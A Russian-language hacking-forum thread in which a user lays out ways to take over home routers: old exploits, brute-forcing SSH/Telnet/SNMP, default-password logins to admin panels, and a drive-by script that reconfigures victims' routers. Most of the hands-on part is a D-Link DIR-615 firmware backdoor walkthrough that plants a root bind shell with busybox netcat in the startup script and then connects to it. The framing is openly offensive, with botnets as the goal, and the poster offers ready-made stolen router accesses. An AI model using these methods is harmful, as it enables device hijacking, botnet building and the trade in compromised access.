Способы взлома роутеров

[shellest]

В данной статье будут рассмотрены все известные (автору) способы поселиться в маршрутизаторах. Сначала будет больше теории и в конце статьи уже будет показан практическое применение одного из способов.
Данная тема достаточно актуальна не только в силу того, что именно подобным методом стали разводить ddos ботов, а потому что сфера IoT устройств развивается семимильными шагами и достаточно функциональные прошивки с доступом к сети стали встравивать во многие продукты бытовой и не только техники.

I. Использование известных дыр.
Польователи обычно не очень любят (точнее не умеют) перенастраивать свой маршрутизатор, обновлять ему прошивку (не ну а вдруг че слетит), поэтому как правило патчи для известных уязвимостей если и выпускаются, то использовать их стремятся далеко не все. Отсюда и большие возможности в поиске давних и не очень багов, написание или поиск под них эксплойтов, отбор подходящих целей (через

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

или самим через

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

и скрипты), и, собственно, заражение.

Иногда достаточно чтобы просто был открыт во внешнюю сеть порт для подключения и можно не зная логина и пароля для входа проэксплуатировать RCE. Например, недавний баг в Netgear R7000 когда для выполнения команды достаточно было пройти в один интересный путь роутера (через внутренний или внешний ip):

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

'.

II. Брут напрямую.
В эти безхистростные методы входит брут портов, где обычно запущены демоны командных оболочек (SSH, Telnet), то есть 22 и 23 TCP порты или другое управляющее ПО типа SNMP (161 UDP порт). Собственно, рассказывать тут нечего, скриптов для брута куча, да и написать свой проблем ни у кого не составит, с этим все ясно. Обычно именно этим способом размножаются ддос боты.

III. Через веб-интерфейс администрирования.
Если первые 2 способа на ум приходят сразу и можно сказать давно используются (не только по отношению к роутерам), то здесь есть кое-что новое, поэтому его будем разбирать подробно.
Процесс состоит из 3 основных этапов: сбора потенциальных целей, попадания в веб-интерфейс к каждой и получение шелла.

Для сбора целей опять же: shodan/zmap.

Для того, чтобы попасть в веб-интерфейс существует 2 варианта:
Брут, так как для большинства устройств оставляются дефолтные логины и праоли (

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

)то брут здесь будет очень эффективен, лишь бы был открыт нужный порт.
Открытие через юзера: пишется js скрипт, в котором через косвенные признаки (js, css, html файлы) определяется модель и марка роутера, затем делается сабмит формы с дефолтными данными и затем выставление нужных настроек (открывается внешний порт для управления) и отправление данных на сервер в случае успеха. Затем на страницу с таким скриптом льется трафик (наработки по данному способу имеются, для желающих потом могу прикрепить к статье).

Теперь остается только получить доступ к командной оболочке и сделать это можно по-разному, ниже будет описано 3 способа.

1. Эксплуатация уязвимостей в запущенном ПО. То есть определяем какие сервисы (каких версий) запущены в нужной прошивке (ниже будет показано, как это можно посмотреть), затем ищем публично известные баги и эксплаутируем их, тут в принципе все ясно.

2. Получение шелла через веб: поиск RCE, RFI, LFI и пр., т.к. в подобных интерфейсах частенько бывают разные возможности по пингу, проверке или редактирвоанию логов и тд, то вполно вероятно, что получится найти одну из уявимостей и залить шелл (или найти из публично известных).

3. Изменение прошивки и ее апгрейд удаленно. То есть разбираем, встраиваем нужный нам бекдор, собираем и обновляем через интерфейс "вручную" (бывает, что для этого нужно быть подключенным к роутеру через ethernet кабель, в этом случае данный трюк конечно не сработает).
Для примера была взята прошивка роутера D-link dir 615. Инжект можно делать в принципе в самоя ядро (как правило Linux), либо в сторонний софт (что полегче), либо в какие-либо bash-скрипты, которые найдутся.
Для извлечения бинарников и других файлов (самой файлововй системы) удобно воспользоваться инструментов

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

или

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

С помощью первого инструмента делается это через скрипт extract-firmware.sh, а binwalk сделает это если запустить его с ключом -e.
Но к сожалению эти инструменты не всегда могут срабатывать или срабатывать правильно (ошибки будут видны в консоли или же будет полупустая папка результатов извлечения). Поэтому нужно знать, как извекается файловая система прошивки в полуручном режиме. Для этого запускаем binwalk c для нашей прошивки:

$ binwalk /path/to/firmware.bin

У меня вывод получился следующим:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
14360         0x3818          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3764848 bytes
24594         0x6012          MySQL ISAM index file Version 11
1245184       0x130000        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2535868 bytes, 1369 inodes, blocksize: 131072 bytes

Как видим файловая система находится со смещением 1245184, чтобы получить ее в одтедьном файле воспользуемся утилитой dd:

$ dd if=/path/to/firmware.bin of=/path/to/fs.squash bs=1 skip=1245184

На выходе получаем файл fs.squash, который можно скормить скрипту unsquashfs_all.sh из Firmware Mod Kit'а и получить папку с файлами (squashfs-root в моем случае) и разбираться уже в ней.
Правда и собирать после изменения придется все тоже совими руками и тут могут быть различные случаи, поэтому рассматриваться здесь такая сборка не будет.

Начнем изучать структуру файлов и папок (мне удобно делать первую разведку с консольной утилитой tree):

$ cd squashfs-root && tree .

(Вывод был немного урезан, мной, чтобы сразу убрать лишние файлы с рассмотрения)

├── bin
│   ├── ash -> busybox
│   ├── auth
│   ├── busybox
│   ├── cat -> busybox
│   ├── chat
│   ├── cp -> busybox
│   ├── date -> busybox
│   ├── dd -> busybox
│   ├── dnsmasq_script
│   ├── echo -> busybox
│   ├── false -> busybox
│   ├── grep -> busybox
│   ├── gunzip -> busybox
│   ├── gzip -> busybox
│   ├── iapp
│   ├── igmpx
│   ├── ip
│   ├── iwconfig
│   ├── iwcontrol
│   ├── iwlist
│   ├── iwpriv
│   ├── kill -> busybox
│   ├── l2tpd
│   ├── ln -> busybox
│   ├── login -> busybox
│   ├── ls -> busybox
│   ├── mkdir -> busybox
│   ├── modprobe
│   ├── mount -> busybox
│   ├── nice -> busybox
│   ├── odhcp6c_script
│   ├── ping -> busybox
│   ├── ping6 -> busybox
│   ├── pppd
│   ├── pppoe-relay
│   ├── pptp
│   ├── ps -> busybox
│   ├── resident
│   ├── resident_cli
│   ├── rm -> busybox
│   ├── sh -> busybox
│   ├── sleep -> busybox
│   ├── tar -> busybox
│   ├── touch -> busybox
│   ├── true -> busybox
│   ├── uboot.img
│   ├── umount -> busybox
│   ├── wscd
│   └── zcat -> busybox
├── dev
│   ├── ac0
│   ├── ...
│   ├── ttyS3
│   ├── urandom
│   └── zero
├── etc
│   ├── admin.spool
│   ├── config.default
│   ├── default -> /tmp/default
│   ├── ethers -> ../tmp/ethers
│   ├── ethertypes
│   ├── fstab
│   ├── group -> default/group
│   ├── hostname
│   ├── hosts -> /tmp/hosts
│   ├── httpd.conf
│   ├── inetd.conf -> /tmp/inetd.conf
│   ├── init.d
│   │   └── rcS
│   ├── intercept_server.key
│   ├── intercept_server.pem
│   ├── lanwanext.conf.in
│   ├── ld.so.conf
│   ├── motd
│   ├── passwd -> default/passwd
│   ├── ppp -> /tmp/ppp
│   ├── profile
│   ├── protocols
│   ├── resolv.conf -> /tmp/resolv.conf
│   ├── server.key
│   ├── server.pem
│   ├── services
│   ├── simplecfgservice.xml
│   ├── tr069_ca.pem
│   ├── tr069_cert.pem
│   ├── tr069_key.pem
│   ├── tr069.xml
│   ├── TZ -> /tmp/TZ
│   ├── Wireless -> /tmp
│   ├── wireless_country_list
│   └── xl2tpd.conf -> /tmp/xl2tpd.conf
├── home
│   └── default
├── lib
│   ├── ld-uClibc.so.0
│   ├── ...
│   └── private
│       ├── libcommon.so
│       ├── libconfig.so
│       └── libresident_cli.so
├── lib32 -> lib
├── lib64 -> lib
├── mnt -> /tmp/mnt
├── opt
├── proc
├── root
├── sbin
│   ├── button_test
│   ├── dcfg
│   ├── ebtables
│   ├── event
│   ├── fw_update
│   ├── halt -> ../bin/busybox
│   ├── ifconfig -> ../bin/busybox
│   ├── init -> dcfg
│   ├── insmod -> ../bin/busybox
│   ├── iwconfig
│   ├── iwgetid -> iwconfig
│   ├── iwlist -> iwconfig
│   ├── iwpriv -> iwconfig
│   ├── iwspy -> iwconfig
│   ├── klogd -> ../bin/busybox
│   ├── led_test
│   ├── logread -> ../bin/busybox
│   ├── lsmod -> ../bin/busybox
│   ├── mfc
│   ├── miniupnpd
│   ├── poweroff -> ../bin/busybox
│   ├── reboot -> ../bin/busybox
│   ├── rmmod -> ../bin/busybox
│   ├── route -> ../bin/busybox
│   ├── syslogd -> ../bin/busybox
│   └── tr069
├── srv
│   └── anweb
│       ├──... [прочие папки с изображениями, html, js, css файлами]
├── sys
├── tmp
│   ├── ripd.conf.sample
│   └── zebra.conf.sample
├── usr
│   ├── bin
│   │   ├── [ -> ../../bin/busybox
│   │   ├── [[ -> ../../bin/busybox
│   │   ├── basename -> ../../bin/busybox
│   │   ├── civetweb
│   │   ├── crontab -> ../../bin/busybox
│   │   ├── free -> ../../bin/busybox
│   │   ├── hexdump -> ../../bin/busybox
│   │   ├── inadyn
│   │   ├── iptables-xml
│   │   ├── killall -> ../../bin/busybox
│   │   ├── logger -> ../../bin/busybox
│   │   ├── md5sum -> ../../bin/busybox
│   │   ├── mtd_write
│   │   ├── nc -> ../../bin/busybox
│   │   ├── nslookup -> ../../bin/busybox
│   │   ├── odhcp6c
│   │   ├── passwd -> ../../bin/busybox
│   │   ├── pmap -> ../../bin/busybox
│   │   ├── renice -> ../../bin/busybox
│   │   ├── roamd
│   │   ├── tail -> ../../bin/busybox
│   │   ├── test -> ../../bin/busybox
│   │   ├── tftp -> ../../bin/busybox
│   │   ├── top -> ../../bin/busybox
│   │   ├── traceroute -> ../../bin/busybox
│   │   ├── traceroute6 -> ../../bin/busybox
│   │   ├── udhcpc
│   │   ├── udpxrec
│   │   └── udpxy
│   ├── lib
│   │   ├── libaxtls.so -> libaxtls.so.1
│   │   ├── ...
│   │   └── xtables
│   │       ├── libip6t_ah.so
│   │       ├── ...
│   │       └── libxt_udp.so
│   ├── lib32 -> lib
│   ├── lib64 -> lib
│   ├── sbin
│   │   ├── anweb
│   │   ├── brctl -> ../../bin/busybox
│   │   ├── crond -> ../../bin/busybox
│   │   ├── dnsmasq
│   │   ├── drop_caches
│   │   ├── httpd -> ../../bin/busybox
│   │   ├── ip6tables -> ip6tables-multi
│   │   ├── ip6tables-multi
│   │   ├── ip6tables-restore -> ip6tables-multi
│   │   ├── ip6tables-save -> ip6tables-multi
│   │   ├── iptables -> iptables-multi
│   │   ├── iptables-multi
│   │   ├── iptables-restore -> iptables-multi
│   │   ├── iptables-save -> iptables-multi
│   │   ├── link_watcher
│   │   ├── notify_all
│   │   ├── ntpd -> ../../bin/busybox
│   │   ├── nvram
│   │   ├── nvramd
│   │   ├── ripd
│   │   ├── telnetd -> ../../bin/busybox
│   │   ├── vconfig
│   │   └── zebra
│   └── share
│       └── udhcpc
│           └── default.script
├── var -> /tmp/var
└── VERSION

Тут можно уже искать себе цели для реверса/фаззинга, shell-скрипты, которые будут запущены при запуске или в процессе работы. Также теперь можно поискать уязвимые версии ПО, например, меня интересовала версия busybox, для этихи целей есть замечательная утилита strings:

$ strings ./bin/busybox | grep "BusyBox"

BusyBox is a multi-call binary that combines many common Unix
link to busybox for each function they wish to use and BusyBox
syslogd started: BusyBox v1.19.2
BusyBox v1.19.2 (2016-12-01 17:37:52 MSK)

Видно, что версия 1.19.2, в которой, если верить гуглу, udhcpc подвержен CVE-2011-2716 (разбирать ее не стал, т.к. цель - внедрить свой бекдор в прошивку).

Конечно взгляд сразу упал на файл squashfs-root/etc/init.d/rcS, который выполняется при запуске, и в который очень хорошо встраиваюстя свои команды (а они еще и из-под рута будут выполнятся). Дополняем этот файл строчкой:

/bin/busybox nc -nlp 4444 -e /bin/busybox sh &

и можно собирать обратно. Я сделал это скриптом build-firmware.sh из FMK. Конечно предварительно лучше все тестировать через qemu-mips, а не сразу заливать на устройство.
Ну и после прошивки устройства через веб-интерфейс пробуем подконнектится:

$ nc -vn 192.168.0.1 4444

Получаем:

Connection to 192.168.0.1 4444 port [tcp/*] succeeded!

Работает! Пробуем:

$ busybox whoami

Получаем:

root

Теперь железка полностью под нашим контролем!

Итог.
Хотелось бы заметить, что в статье было упущено множество рутинных деталей, а также заметок (в силу отсутствия полноты знаний тонкостей самого автора), поэтому постараюсь сразу еще раз заметить по поводу последнего способа: предварительно надо убедится, что целевые модели роутеров прошиваются удаленно, только потом пытаться расковырять, изменить и собрать прошивку. А сборка - это вообще отдельный момент, и в теории ничто не мешает использовать любую из свободных универсальный прошивок, например, DD-WRT, которую править, дорабатывать будет сплошное удовольствие.

 

[shellest]

кстати будет время подкину сюда готовые доступы к роутерам,где то есть надо поискать

 

[Gita]

Надо чекнуть данные способы

 

[shellest]

вот немного пока,если нужно буду добавлять по возможности